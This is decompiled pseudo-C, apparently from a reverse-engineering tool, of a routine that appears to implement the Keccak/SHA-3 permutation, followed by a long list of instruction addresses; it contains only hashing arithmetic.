            					_t1034 =  *_t40 ^  *_t41 ^  *_t42 ^  *_t43 ^  *_t44;
            					_v40 =  *_t17 ^  *_t18 ^  *_t19 ^  *_t20 ^  *_t21;
            					_t46 =  &(_t1416[7]); // 0xcc483ff
            					_t47 =  &(_t1416[0x11]); // 0x9c30e850
            					_t48 =  &(_t1416[0x1b]); // 0x28ec83ec
            					_t49 =  &(_t1416[0x25]); // 0x33284633
            					_t50 =  &(_t1416[0x2f]); // 0x96336456
            					_v32 =  *_t28 ^  *_t29 ^  *_t30 ^  *_t31 ^  *_t32;
            					_t52 =  &(_t1416[9]); // 0xe850ffff
            					_t53 =  &(_t1416[0x13]); // 0x8dc0320c
            					_t54 =  &(_t1416[0x1d]); // 0x45c75708
            					_t55 =  &(_t1416[0x27]); // 0xa0863378
            					_t56 =  &(_t1416[0x31]); // 0xb49633
            					_v24 = _t706;
            					_v28 = _t1034;
            					_v36 =  *_t46 ^  *_t47 ^  *_t48 ^  *_t49 ^  *_t50;
            					_t1419 = _t1034 >> 0x0000001f | _t706 + _t706;
            					_v8 =  *_t52 ^  *_t53 ^  *_t54 ^  *_t55 ^  *_t56;
            					_t985 = _a4;
            					_t1312 = (_t1034 << 0x00000020 | _t706) << 1;
            					_t67 =  &(_t985[1]); // 0x3b590845
            					 *_t985 = _t1419 ^  *_a4 ^ _t1380;
            					_t985[1] = _t1312 ^  *_t67 ^ _v8;
            					_t985[0xa] = _t985[0xa] ^ _t1419 ^ _t1380;
            					_t985[0xb] = _t985[0xb] ^ _t1312 ^ _v8;
            					_t75 =  &(_t985[0x14]); // 0xffff34bd
            					_t76 =  &(_t985[0x15]); // 0xc8b9ff
            					_t985[0x14] = _t1419 ^  *_t75 ^ _t1380;
            					_t985[0x15] = _t1312 ^  *_t76 ^ _v8;
            					_t80 =  &(_t985[0x1e]); // 0x36fc60d8
            					_t81 =  &(_t985[0x1f]); // 0x105e8b01
            					_t985[0x1e] = _t1419 ^  *_t80 ^ _t1380;
            					_t1050 = _t985;
            					_t1050[0x1f] = _t1312 ^  *_t81 ^ _v8;
            					_t85 =  &(_t1050[0x28]); // 0x8b000000
            					_t86 =  &(_t1050[0x29]); // 0x4e33044e
            					_t1050[0x28] = _t1419 ^  *_t85 ^ _t1380;
            					_t1050[0x29] = _t1312 ^  *_t86 ^ _v8;
            					_t1051 = _v40;
            					_t722 = _v12;
            					_t1316 = (_t1051 << 0x00000020 | _t722) << 1;
            					_t1424 = _t1051 >> 0x0000001f | _t722 + _t722;
            					_t96 =  &(_t985[2]); // 0x852d72fe
            					_t97 =  &(_t985[3]); // 0x561174f6
            					_t985[2] = _t1424 ^  *_t96 ^ _v20;
            					_t985[3] = _t1316 ^  *_t97 ^ _v16;
            					_t102 =  &(_t985[0xc]); // 0x89fe2bc6
            					_t103 =  &(_t985[0xd]); // 0xceeb0845
            					_t985[0xc] = _t1424 ^  *_t102 ^ _v20;
            					_t985[0xd] = _t1316 ^  *_t103 ^ _v16;
            					_t985[0x16] = _t985[0x16] ^ _t1424 ^ _v20;
            					_t985[0x17] = _t985[0x17] ^ _t1316 ^ _v16;
            					_t985[0x20] = _t985[0x20] ^ _t1424 ^ _v20;
            					_t1066 = _t985;
            					_t1066[0x21] = _t1066[0x21] ^ _t1316 ^ _v16;
            					_t1066[0x2a] = _t1066[0x2a] ^ _t1424 ^ _v20;
            					_t1066[0x2b] = _t1066[0x2b] ^ _t1316 ^ _v16;
            					_t1067 = _v36;
            					_t736 = _v32;
            					_t1428 = _t1067 >> 0x0000001f | _t736 + _t736;
            					_t1319 = (_t1067 << 0x00000020 | _t736) << 1;
            					_t132 =  &(_t985[4]); // 0xff348d8d
            					_t133 =  &(_t985[5]); // 0x5051ffff
            					_t985[4] = _t1428 ^  *_t132 ^ _v24;
            					_t985[5] = _t1319 ^  *_t133 ^ _v28;
            					_t138 =  &(_t985[0xe]); // 0x1174ff85
            					_t139 =  &(_t985[0xf]); // 0x34958d57
            					_t985[0xe] = _t1428 ^  *_t138 ^ _v24;
            					_t985[0xf] = _t1319 ^  *_t139 ^ _v28;
            					_t144 =  &(_t985[0x18]); // 0x5fffc883
            					_t145 =  &(_t985[0x19]); // 0xe58b5b5e
            					_t985[0x18] = _t1428 ^  *_t144 ^ _v24;
            					_t985[0x19] = _t1319 ^  *_t145 ^ _v28;
            					_t150 =  &(_t985[0x22]); // 0x88
            					_t151 =  &(_t985[0x23]); // 0xb09e33
            					_t985[0x22] = _t1428 ^  *_t150 ^ _v24;
            					_t1084 = _t985;
            					_t986 = _v8;
            					_t1084[0x23] = _t1319 ^  *_t151 ^ _v28;
            					_t157 =  &(_t1084[0x2c]); // 0xa48e
            					_t158 =  &(_t1084[0x2d]); // 0x14568b00
            					_t1084[0x2c] = _t1428 ^  *_t157 ^ _v24;
            					_t1084[0x2d] = _t1319 ^  *_t158 ^ _v28;
            					_t1323 = (_t986 << 0x00000020 | _t1380) << 1;
            					_t988 = _v40;
            					_t1433 = _t986 >> 0x0000001f | _t1380 + _t1380;
            					_t1382 = _a4;
            					 *(_t1382 + 0x18) =  *(_t1382 + 0x18) ^ _t1433 ^ _v12;
            					 *(_t1382 + 0x1c) =  *(_t1382 + 0x1c) ^ _t1323 ^ _t988;
            					_t174 = _t1382 + 0x40; // 0x52ffffff
            					_t176 = _t1382 + 0x44; // 0x9c30e850
            					 *(_t1382 + 0x40) = _t1433 ^  *_t174 ^ _v12;
            					 *(_t1382 + 0x44) = _t1323 ^  *_t176 ^ _t988;
            					_t179 = _t1382 + 0x68; // 0x8b55c35d
            					_t180 = _t1382 + 0x6c; // 0x28ec83ec
            					 *(_t1382 + 0x68) = _t1433 ^  *_t179 ^ _v12;
            					 *(_t1382 + 0x6c) = _t1323 ^  *_t180 ^ _t988;
            					_t184 = _t1382 + 0x90; // 0x68b0000
            					_t185 = _t1382 + 0x94; // 0x33284633
            					 *(_t1382 + 0x90) = _t1433 ^  *_t184 ^ _v12;
            					_t1099 = _t1382;
            					 *(_t1099 + 0x94) = _t1323 ^  *_t185 ^ _t988;
            					_t189 = _t1099 + 0xb8; // 0x333c5633
            					_t190 = _t1099 + 0xbc; // 0x96336456
            					 *(_t1099 + 0xb8) = _t1433 ^  *_t189 ^ _v12;
            					_t989 = _t1382;
            					 *(_t1099 + 0xbc) = _t1323 ^  *_t190 ^ _t988;
            					_t1100 = _v16;
            					_t768 = _v20;
            					_t1327 = (_t1100 << 0x00000020 | _t768) << 1;
            					_t1438 = _t1100 >> 0x0000001f | _t768 + _t768;
            					_t200 = _t989 + 0x24; // 0xe850ffff
            					_t201 = _t989 + 0x20; // 0xff34858d
            					 *(_t989 + 0x20) = _t1438 ^  *_t201 ^ _v32;
            					_t990 = _v36;
            					 *(_t989 + 0x24) = _t1327 ^  *_t200 ^ _v36;
            					 *(_t1382 + 0x48) =  *(_t1382 + 0x48) ^ _t1438 ^ _v32;
            					 *(_t1382 + 0x4c) =  *(_t1382 + 0x4c) ^ _t1327 ^ _t990;
            					_t212 = _t1382 + 0x70; // 0x758b5653
            					_t213 = _t1382 + 0x74; // 0x45c75708
            					 *(_t1382 + 0x70) = _t1438 ^  *_t212 ^ _v32;
            					 *(_t1382 + 0x74) = _t1327 ^  *_t213 ^ _t990;
            					_t217 = _t1382 + 0x98; // 0x46335046
            					_t219 = _t1382 + 0x9c; // 0xa0863378
            					 *(_t1382 + 0x98) = _t1438 ^  *_t217 ^ _v32;
            					_t1116 = _t1382;
            					 *(_t1116 + 0x9c) = _t1327 ^  *_t219 ^ _t990;
            					_t222 = _t1116 + 0xc0; // 0x8c
            					_t223 = _t1116 + 0xc4; // 0xb49633
            					 *(_t1116 + 0xc0) = _t1438 ^  *_t222 ^ _v32;
            					 *(_t1116 + 0xc4) = _t1327 ^  *_t223 ^ _t990;
            					_t227 = _t1116 + 8; // 0x852d72fe
            					_t1441 =  *_t227;
            					_t228 = _t1116 + 0xc; // 0x561174f6
            					_t1330 =  *_t228;
            					_t229 = _t1116 + 0x50; // 0xffff34bd
            					_t991 =  *_t229;
            					_t230 = _t1116 + 0x54; // 0xc8b9ff
            					_t1383 =  *_t230;
            					_t1443 = _a4;
            					 *(_t1443 + 0x50) = _t1330 >> 0x0000001f | _t1441 + _t1441;
            					 *(_t1443 + 0x54) = (_t1330 << 0x00000020 | _t1441) << 1;
            					_t238 = _t1443 + 0x38; // 0x1174ff85
            					_t239 = _t1443 + 0x3c; // 0x34958d57
            					_t1332 =  *_t239;
            					_v40 =  *_t238;
            					 *(_t1443 + 0x3c) = (_t1383 << 0x00000020 | _t991) << 3;
            					 *(_t1443 + 0x38) = _t1383 >> 0x0000001d | _t991 << 0x00000003;
            					_t247 = _t1443 + 0x58; // 0xaaf30000
            					_t1385 =  *_t247;
            					_t248 = _t1443 + 0x5c; // 0x3ebc033
            					_t1444 =  *_t248;
            					_t993 = _v40;
            					_t1334 = _a4;
            					 *(_t1334 + 0x58) = _t1332 >> 0x0000001a | _t993 << 0x00000006;
            					 *(_t1334 + 0x5c) = (_t1332 << 0x00000020 | _t993) << 6;
            					_t257 = _t1334 + 0x88; // 0x88
            					_t995 =  *_t257;
            					_t258 = _t1334 + 0x8c; // 0xb09e33
            					_t1335 =  *_t258;
            					_t1446 = _a4;
            					 *(_t1446 + 0x88) = _t1444 >> 0x00000016 | _t1385 << 0x0000000a;
            					 *(_t1446 + 0x8c) = (_t1444 << 0x00000020 | _t1385) << 0xa;
            					_t266 = _t1446 + 0x90; // 0x68b0000
            					_t1387 =  *_t266;
            					_t267 = _t1446 + 0x94; // 0x33284633
            					_t1447 =  *_t267;
            					_t1337 = _a4;
            					 *(_t1337 + 0x90) = _t1335 >> 0x00000011 | _t995 << 0x0000000f;
            					 *(_t1337 + 0x94) = (_t1335 << 0x00000020 | _t995) << 0xf;
            					_t275 = _t1337 + 0x18; // 0xff9c5de8
            					_t997 =  *_t275;
            					_t276 = _t1337 + 0x1c; // 0xcc483ff
            					_t1338 =  *_t276;
            					_t1449 = _a4;
            					 *(_t1449 + 0x18) = _t1447 >> 0x0000000b | _t1387 << 0x00000015;
            					 *(_t1449 + 0x1c) = (_t1447 << 0x00000020 | _t1387) << 0x15;
            					_t284 = _t1449 + 0x28; // 0x3e
            					_t1389 =  *_t284;
            					_t285 = _t1449 + 0x2c; // 0x308458b
            					_t1450 =  *_t285;
            					_t1340 = _a4;
            					 *(_t1340 + 0x28) = _t1338 >> 0x00000004 | _t997 << 0x0000001c;
            					 *(_t1340 + 0x2c) = (_t1338 << 0x00000020 | _t997) << 0x1c;
            					_t293 = _t1340 + 0x80; // 0x33385e33
            					_t999 =  *_t293;
            					_t294 = _t1340 + 0x84; // 0x9e33605e
            					_t1341 =  *_t294;
            					_t1452 = _a4;
            					 *(_t1452 + 0x84) = _t1389 << 0x00000004 | _t1450 >> 0x0000001c;
            					 *(_t1452 + 0x80) = (_t1450 << 0x00000020 | _t1389) >> 0x1c;
            					_t302 = _t1452 + 0x40; // 0x52ffffff
            					_t1391 =  *_t302;
            					_t303 = _t1452 + 0x44; // 0x9c30e850
            					_t1453 =  *_t303;
            					_t1343 = _a4;
            					 *(_t1343 + 0x44) = _t999 << 0x0000000d | _t1341 >> 0x00000013;
            					 *(_t1343 + 0x40) = (_t1341 << 0x00000020 | _t999) >> 0x13;
            					_t311 = _t1343 + 0xa8; // 0x544e332c
            					_t1001 =  *_t311;
            					_t312 = _t1343 + 0xac; // 0x337c4e33
            					_t1344 =  *_t312;
            					_t1455 = _a4;
            					 *(_t1455 + 0xac) = _t1391 << 0x00000017 | _t1453 >> 0x00000009;
            					 *(_t1455 + 0xa8) = (_t1453 << 0x00000020 | _t1391) >> 9;
            					_t320 = _t1455 + 0xc0; // 0x8c
            					_t1393 =  *_t320;
            					_t321 = _t1455 + 0xc4; // 0xb49633
            					_t1456 =  *_t321;
            					_t1346 = _a4;
            					 *(_t1346 + 0xc0) = _t1344 >> 0x0000001e | _t1001 << 0x00000002;
            					 *(_t1346 + 0xc4) = (_t1344 << 0x00000020 | _t1001) << 2;
            					_t329 = _t1346 + 0x20; // 0xff34858d
            					_t1003 =  *_t329;
            					_t330 = _t1346 + 0x24; // 0xe850ffff
            					_t1347 =  *_t330;
            					_t1458 = _a4;
            					 *(_t1458 + 0x20) = _t1456 >> 0x00000012 | _t1393 << 0x0000000e;
            					 *(_t1458 + 0x24) = (_t1456 << 0x00000020 | _t1393) << 0xe;
            					_t338 = _t1458 + 0x78; // 0x36fc60d8
            					_t1395 =  *_t338;
            					_t339 = _t1458 + 0x7c; // 0x105e8b01
            					_t1459 =  *_t339;
            					_t1349 = _a4;
            					 *(_t1349 + 0x78) = _t1347 >> 0x00000005 | _t1003 << 0x0000001b;
            					 *(_t1349 + 0x7c) = (_t1347 << 0x00000020 | _t1003) << 0x1b;
            					_t347 = _t1349 + 0xb8; // 0x333c5633
            					_t1005 =  *_t347;
            					_t348 = _t1349 + 0xbc; // 0x96336456
            					_t1350 =  *_t348;
            					_t1461 = _a4;
            					 *(_t1461 + 0xbc) = _t1395 << 0x00000009 | _t1459 >> 0x00000017;
            					 *(_t1461 + 0xb8) = (_t1459 << 0x00000020 | _t1395) >> 0x17;
            					_t356 = _t1461 + 0x98; // 0x46335046
            					_t1397 =  *_t356;
            					_t357 = _t1461 + 0x9c; // 0xa0863378
            					_t1462 =  *_t357;
            					_t1352 = _a4;
            					 *(_t1352 + 0x9c) = _t1005 << 0x00000018 | _t1350 >> 0x00000008;
            					 *(_t1352 + 0x98) = (_t1350 << 0x00000020 | _t1005) >> 8;
            					_t365 = _t1352 + 0x68; // 0x8b55c35d
            					_t1007 =  *_t365;
            					_t366 = _t1352 + 0x6c; // 0x28ec83ec
            					_t1353 =  *_t366;
            					_t1464 = _a4;
            					 *(_t1464 + 0x68) = _t1462 >> 0x00000018 | _t1397 << 0x00000008;
            					 *(_t1464 + 0x6c) = (_t1462 << 0x00000020 | _t1397) << 8;
            					_t374 = _t1464 + 0x60; // 0x5fffc883
            					_t1399 =  *_t374;
            					_t375 = _t1464 + 0x64; // 0xe58b5b5e
            					_t1465 =  *_t375;
            					_t1355 = _a4;
            					 *(_t1355 + 0x60) = _t1353 >> 0x00000007 | _t1007 << 0x00000019;
            					 *(_t1355 + 0x64) = (_t1353 << 0x00000020 | _t1007) << 0x19;
            					_t383 = _t1355 + 0x10; // 0xff348d8d
            					_t1009 =  *_t383;
            					_t384 = _t1355 + 0x14; // 0x5051ffff
            					_t1356 =  *_t384;
            					_t1467 = _a4;
            					 *(_t1467 + 0x14) = _t1399 << 0x0000000b | _t1465 >> 0x00000015;
            					 *(_t1467 + 0x10) = (_t1465 << 0x00000020 | _t1399) >> 0x15;
            					_t392 = _t1467 + 0xa0; // 0x8b000000
            					_t1401 =  *_t392;
            					_t393 = _t1467 + 0xa4; // 0x4e33044e
            					_t1468 =  *_t393;
            					_t1358 = _a4;
            					 *(_t1358 + 0xa0) = (_t1356 << 0x00000020 | _t1009) >> 2;
            					 *(_t1358 + 0xa4) = _t1009 << 0x0000001e | _t1356 >> 0x00000002;
            					_t401 = _t1358 + 0x70; // 0x758b5653
            					_t1011 =  *_t401;
            					_t402 = _t1358 + 0x74; // 0x45c75708
            					_t1359 =  *_t402;
            					_t1403 = _a4;
            					 *(_t1403 + 0x70) = _t1468 >> 0x0000000e | _t1401 << 0x00000012;
            					 *(_t1403 + 0x74) = (_t1468 << 0x00000020 | _t1401) << 0x12;
            					_t410 = _t1403 + 0xb0; // 0xa48e
            					_t411 = _t1403 + 0xb4; // 0x14568b00
            					_t1470 =  *_t411;
            					_v40 =  *_t410;
            					 *(_t1403 + 0xb0) = (_t1359 << 0x00000020 | _t1011) >> 0x19;
            					 *(_t1403 + 0xb4) = _t1011 << 0x00000007 | _t1359 >> 0x00000019;
            					_t419 = _t1403 + 0x48; // 0xc483ffff
            					_t1013 =  *_t419;
            					_t420 = _t1403 + 0x4c; // 0x8dc0320c
            					_t1404 =  *_t420;
            					_t1361 = _v40;
            					_t1363 = _a4;
            					 *(_t1363 + 0x4c) = _t1361 << 0x0000001d | _t1470 >> 0x00000003;
            					 *(_t1363 + 0x48) = (_t1470 << 0x00000020 | _t1361) >> 3;
            					_t429 = _t1363 + 0x30; // 0x89fe2bc6
            					_t1472 =  *_t429;
            					_t430 = _t1363 + 0x34; // 0xceeb0845
            					_t1364 =  *_t430;
            					_t1406 = _a4;
            					 *(_t1406 + 0x30) = _t1404 >> 0x0000000c | _t1013 << 0x00000014;
            					 *(_t1406 + 0x34) = (_t1404 << 0x00000020 | _t1013) << 0x14;
            					 *(_t1406 + 8) = (_t1364 << 0x00000020 | _t1472) >> 0x14;
            					 *(_t1406 + 0xc) = _t1472 << 0x0000000c | _t1364 >> 0x00000014;
            					_t444 = _t1406 + 8; // 0x852d72fe
            					_t1189 =  *_t444;
            					_t445 = _t1406 + 0x18; // 0xff9c5de8
            					_t446 = _t1406 + 0x10; // 0xff348d8d
            					_t1474 =  *_t446;
            					_t447 = _t1406 + 0x14; // 0x5051ffff
            					_t1366 =  *_t447;
            					_v36 =  *_t1406;
            					_t449 = _t1406 + 4; // 0x3b590845
            					_v32 =  *_t449;
            					_t451 = _t1406 + 0xc; // 0x561174f6
            					_t452 = _t1406 + 0x1c; // 0xcc483ff
            					_t1407 =  *_t452;
            					_v28 =  *_t451;
            					_t836 = _a4;
            					_v16 = _t1189;
            					_v40 =  *_t445;
            					_t458 = _t836 + 0x20; // 0xff34858d
            					_t1016 = _a4;
            					_v24 =  *_t458;
            					_t462 =  &(_a4[9]); // 0xe850ffff
            					_v20 =  *_t462;
            					 *_t1016 =  !_t1189 & _t1474 ^ _v36;
            					_t1016[1] =  !_v28 & _t1366 ^ _v32;
            					_t1016[2] =  !_t1474 & _v40 ^ _v16;
            					_t1016[3] =  !_t1366 & _t1407 ^ _v28;
            					_t1367 = _t1016;
            					_t1367[5] =  !_t1407 & _v20 ^ _t1366;
            					_t1367[4] =  !_v40 & _v24 ^ _t1474;
            					_t1408 = _t1367;
            					_t1408[7] =  !_v20 & _v32 ^ _t1407;
            					_t1408[6] =  !_v24 & _v36 ^ _v40;
            					_t1408[9] =  !_v32 & _v28 ^ _v20;
            					_t1408[8] =  !_v36 & _v16 ^ _v24;
            					_t492 =  &(_t1408[0xa]); // 0x3e
            					_t493 =  &(_t1408[0xc]); // 0x89fe2bc6
            					_t1211 =  *_t493;
            					_t494 =  &(_t1408[0x10]); // 0x52ffffff
            					_t495 =  &(_t1408[0xe]); // 0x1174ff85
            					_t1475 =  *_t495;
            					_t496 =  &(_t1408[0xf]); // 0x34958d57
            					_t1368 =  *_t496;
            					_v36 =  *_t492;
            					_t498 =  &(_t1408[0xb]); // 0x308458b
            					_v32 =  *_t498;
            					_t500 =  &(_t1408[0xd]); // 0xceeb0845
            					_t501 =  &(_t1408[0x11]); // 0x9c30e850
            					_t1409 =  *_t501;
            					_v28 =  *_t500;
            					_t863 = _a4;
            					_v16 = _t1211;
            					_v40 =  *_t494;
            					_t507 = _t863 + 0x48; // 0xc483ffff
            					_t1018 = _a4;
            					_v24 =  *_t507;
            					_t511 =  &(_a4[0x13]); // 0x8dc0320c
            					_v20 =  *_t511;
            					 *(_t1018 + 0x28) =  !_t1211 & _t1475 ^ _v36;
            					 *(_t1018 + 0x2c) =  !_v28 & _t1368 ^ _v32;
            					 *(_t1018 + 0x30) =  !_t1475 & _v40 ^ _v16;
            					 *(_t1018 + 0x34) =  !_t1368 & _t1409 ^ _v28;
            					_t1369 = _t1018;
            					 *(_t1369 + 0x3c) =  !_t1409 & _v20 ^ _t1368;
            					 *(_t1369 + 0x38) =  !_v40 & _v24 ^ _t1475;
            					_t1410 = _t1369;
            					 *(_t1410 + 0x40) =  !_v24 & _v36 ^ _v40;
            					 *(_t1410 + 0x44) =  !_v20 & _v32 ^ _t1409;
            					 *(_t1410 + 0x48) =  !_v36 & _v16 ^ _v24;
            					 *(_t1410 + 0x4c) =  !_v32 & _v28 ^ _v20;
            					_t542 = _t1410 + 0x50; // 0xffff34bd
            					_t543 = _t1410 + 0x58; // 0xaaf30000
            					_t1233 =  *_t543;
            					_t544 = _t1410 + 0x68; // 0x8b55c35d
            					_t545 = _t1410 + 0x60; // 0x5fffc883
            					_t1476 =  *_t545;
            					_t546 = _t1410 + 0x64; // 0xe58b5b5e
            					_t1370 =  *_t546;
            					_v36 =  *_t542;
            					_t548 = _t1410 + 0x54; // 0xc8b9ff
            					_v32 =  *_t548;
            					_t550 = _t1410 + 0x5c; // 0x3ebc033
            					_t551 = _t1410 + 0x6c; // 0x28ec83ec
            					_t1411 =  *_t551;
            					_v28 =  *_t550;
            					_t890 = _a4;
            					_v16 = _t1233;
            					_v40 =  *_t544;
            					_t557 = _t890 + 0x70; // 0x758b5653
            					_t1020 = _a4;
            					_v24 =  *_t557;
            					_t561 =  &(_a4[0x1d]); // 0x45c75708
            					 *(_t1020 + 0x50) =  !_t1233 & _t1476 ^ _v36;
            					_v20 =  *_t561;
            					 *(_t1020 + 0x54) =  !_v28 & _t1370 ^ _v32;
            					 *(_t1020 + 0x58) =  !_t1476 & _v40 ^ _v16;
            					 *(_t1020 + 0x5c) =  !_t1370 & _t1411 ^ _v28;
            					_t1371 = _t1020;
            					 *(_t1371 + 0x60) =  !_v40 & _v24 ^ _t1476;
            					 *(_t1371 + 0x64) =  !_t1411 & _v20 ^ _t1370;
            					_t1412 = _t1371;
            					 *(_t1412 + 0x68) =  !_v24 & _v36 ^ _v40;
            					 *(_t1412 + 0x6c) =  !_v20 & _v32 ^ _t1411;
            					 *(_t1412 + 0x70) =  !_v36 & _v16 ^ _v24;
            					 *(_t1412 + 0x74) =  !_v32 & _v28 ^ _v20;
            					_t592 = _t1412 + 0x78; // 0x36fc60d8
            					_t593 = _t1412 + 0x80; // 0x33385e33
            					_t1255 =  *_t593;
            					_t594 = _t1412 + 0x90; // 0x68b0000
            					_t595 = _t1412 + 0x88; // 0x88
            					_t1477 =  *_t595;
            					_t596 = _t1412 + 0x8c; // 0xb09e33
            					_t1372 =  *_t596;
            					_v36 =  *_t592;
            					_t598 = _t1412 + 0x7c; // 0x105e8b01
            					_v32 =  *_t598;
            					_t600 = _t1412 + 0x84; // 0x9e33605e
            					_t601 = _t1412 + 0x94; // 0x33284633
            					_t1413 =  *_t601;
            					_v28 =  *_t600;
            					_t917 = _a4;
            					_v16 = _t1255;
            					_v40 =  *_t594;
            					_t607 = _t917 + 0x98; // 0x46335046
            					_t1022 = _a4;
            					_v24 =  *_t607;
            					_t611 =  &(_a4[0x27]); // 0xa0863378
            					 *(_t1022 + 0x78) =  !_t1255 & _t1477 ^ _v36;
            					_v20 =  *_t611;
            					 *(_t1022 + 0x7c) =  !_v28 & _t1372 ^ _v32;
            					 *(_t1022 + 0x80) =  !_t1477 & _v40 ^ _v16;
            					 *(_t1022 + 0x84) =  !_t1372 & _t1413 ^ _v28;
            					_t1373 = _t1022;
            					 *(_t1373 + 0x88) =  !_v40 & _v24 ^ _t1477;
            					 *(_t1373 + 0x8c) =  !_t1413 & _v20 ^ _t1372;
            					_t1414 = _t1373;
            					 *(_t1414 + 0x90) =  !_v24 & _v36 ^ _v40;
            					 *(_t1414 + 0x94) =  !_v20 & _v32 ^ _t1413;
            					 *(_t1414 + 0x98) =  !_v36 & _v16 ^ _v24;
            					 *(_t1414 + 0x9c) =  !_v32 & _v28 ^ _v20;
            					_t642 = _t1414 + 0xa0; // 0x8b000000
            					_t643 = _t1414 + 0xa8; // 0x544e332c
            					_t1277 =  *_t643;
            					_t644 = _t1414 + 0xb0; // 0xa48e
            					_t1478 =  *_t644;
            					_t645 = _t1414 + 0xb8; // 0x333c5633
            					_v36 =  *_t642;
            					_t647 = _t1414 + 0xa4; // 0x4e33044e
            					_t648 = _t1414 + 0xb4; // 0x14568b00
            					_t1374 =  *_t648;
            					_v32 =  *_t647;
            					_t650 = _t1414 + 0xac; // 0x337c4e33
            					_t651 = _t1414 + 0xbc; // 0x96336456
            					_t1415 =  *_t651;
            					_v28 =  *_t650;
            					_t944 = _a4;
            					_v16 = _t1277;
            					_v40 =  *_t645;
            					_t657 = _t944 + 0xc0; // 0x8c
            					_t1024 = _a4;
            					_v24 =  *_t657;
            					_t661 =  &(_a4[0x31]); // 0xb49633
            					_t1024[0x28] =  !_t1277 & _t1478 ^ _v36;
            					_v20 =  *_t661;
            					_t1024[0x29] =  !_v28 & _t1374 ^ _v32;
            					_t1024[0x2a] =  !_t1478 & _v40 ^ _v16;
            					_t1024[0x2b] =  !_t1374 & _t1415 ^ _v28;
            					_t1375 = _t1024;
            					_t1416 = _t1375;
            					_t1375[0x2c] =  !_v40 & _v24 ^ _t1478;
            					_t1375[0x2d] =  !_t1415 & _v20 ^ _t1374;
            					_t1024[0x2e] =  !_v24 & _v36 ^ _v40;
            					_t1024[0x2f] =  !_v20 & _v32 ^ _t1415;
            					_t1416[0x30] =  !_v36 & _v16 ^ _v24;
            					_t1416[0x31] =  !_v32 & _v28 ^ _v20;
            					_t1299 = _v44;
            					 *_t1416 =  *_t1416 ^  *_t1299;
            					_t693 =  &(_t1299[1]); // 0x0
            					_t969 =  *_t693;
            					_t1300 =  &(_t1299[2]);
            					_t1416[1] = _t1416[1] ^ _t969;
            					_v44 = _t1300;
            				} while (_t1300 < 0x136fd20);
            				return _t969;
            			}



























































































































































            0x0136b3b6
            0x0136b3ba
            0x0136b3c1
            0x0136b3c1
            0x0136b3c4
            0x0136b3c7
            0x0136b3ca
            0x0136b3d0
            0x0136b3d8
            0x0136b3db
            0x0136b3de
            0x0136b3e1
            0x0136b3e7
            0x0136b3ea
            0x0136b3ed
            0x0136b3f0
            0x0136b3f3
            0x0136b3f9
            0x0136b3fc
            0x0136b3ff
            0x0136b402
            0x0136b408
            0x0136b40e
            0x0136b411
            0x0136b414
            0x0136b417
            0x0136b41d
            0x0136b41d
            0x0136b423
            0x0136b426
            0x0136b429
            0x0136b42c
            0x0136b42f
            0x0136b435
            0x0136b43b
            0x0136b43e
            0x0136b441
            0x0136b444
            0x0136b447
            0x0136b44d
            0x0136b44d
            0x0136b453
            0x0136b456
            0x0136b459
            0x0136b45c
            0x0136b45f
            0x0136b465
            0x0136b465
            0x0136b46b
            0x0136b46e
            0x0136b471
            0x0136b474
            0x0136b477
            0x0136b47d
            0x0136b483
            0x0136b486
            0x0136b489
            0x0136b48c
            0x0136b48f
            0x0136b495
            0x0136b49d
            0x0136b4a0
            0x0136b4ac
            0x0136b4af
            0x0136b4b1
            0x0136b4b9
            0x0136b4bc
            0x0136b4c4
            0x0136b4cc
            0x0136b4d0
            0x0136b4dc
            0x0136b4e1
            0x0136b4e8
            0x0136b4ed
            0x0136b4f5
            0x0136b4fa
            0x0136b501
            0x0136b506
            0x0136b50e
            0x0136b511
            0x0136b513
            0x0136b516
            0x0136b51c
            0x0136b527
            0x0136b52d
            0x0136b535
            0x0136b53a
            0x0136b544
            0x0136b548
            0x0136b54e
            0x0136b553
            0x0136b55c
            0x0136b561
            0x0136b568
            0x0136b56d
            0x0136b576
            0x0136b57b
            0x0136b585
            0x0136b58d
            0x0136b597
            0x0136b59d
            0x0136b5a8
            0x0136b5ae
            0x0136b5b4
            0x0136b5ba
            0x0136b5bf
            0x0136b5cd
            0x0136b5cf
            0x0136b5d5
            0x0136b5da
            0x0136b5e3
            0x0136b5e8
            0x0136b5ef
            0x0136b5f4
            0x0136b5fd
            0x0136b602
            0x0136b609
            0x0136b60e
            0x0136b617
            0x0136b61c
            0x0136b623
            0x0136b62b
            0x0136b637
            0x0136b63d
            0x0136b63f
            0x0136b642
            0x0136b648
            0x0136b64e
            0x0136b65a
            0x0136b662
            0x0136b673
            0x0136b675
            0x0136b678
            0x0136b67a
            0x0136b686
            0x0136b68b
            0x0136b692
            0x0136b69a
            0x0136b69d
            0x0136b6a4
            0x0136b6ab
            0x0136b6b0
            0x0136b6b8
            0x0136b6bd
            0x0136b6c4
            0x0136b6cc
            0x0136b6d7
            0x0136b6dd
            0x0136b6df
            0x0136b6e5
            0x0136b6eb
            0x0136b6f6
            0x0136b6fc
            0x0136b6fe
            0x0136b706
            0x0136b70b
            0x0136b715
            0x0136b719
            0x0136b71d
            0x0136b722
            0x0136b72b
            0x0136b730
            0x0136b733
            0x0136b73d
            0x0136b744
            0x0136b74b
            0x0136b750
            0x0136b758
            0x0136b75d
            0x0136b764
            0x0136b76f
            0x0136b775
            0x0136b77d
            0x0136b77f
            0x0136b785
            0x0136b78b
            0x0136b796
            0x0136b79c
            0x0136b7a2
            0x0136b7a2
            0x0136b7a5
            0x0136b7a5
            0x0136b7a8
            0x0136b7a8
            0x0136b7ab
            0x0136b7ab
            0x0136b7bf
            0x0136b7c2
            0x0136b7c7
            0x0136b7ca
            0x0136b7cd
            0x0136b7cd
            0x0136b7d7
            0x0136b7e1
            0x0136b7e6
            0x0136b7eb
            0x0136b7eb
            0x0136b7f0
            0x0136b7f0
            0x0136b7f3
            0x0136b802
            0x0136b807
            0x0136b80c
            0x0136b811
            0x0136b811
            0x0136b817
            0x0136b817
            0x0136b829
            0x0136b82e
            0x0136b836
            0x0136b83e
            0x0136b83e
            0x0136b844
            0x0136b844
            0x0136b856
            0x0136b85b
            0x0136b863
            0x0136b86b
            0x0136b86b
            0x0136b86e
            0x0136b86e
            0x0136b87d
            0x0136b882
            0x0136b887
            0x0136b88c
            0x0136b88c
            0x0136b88f
            0x0136b88f
            0x0136b8a0
            0x0136b8a3
            0x0136b8a6
            0x0136b8a9
            0x0136b8a9
            0x0136b8b1
            0x0136b8b1
            0x0136b8c7
            0x0136b8ca
            0x0136b8d2
            0x0136b8da
            0x0136b8da
            0x0136b8dd
            0x0136b8dd
            0x0136b8ee
            0x0136b8f1
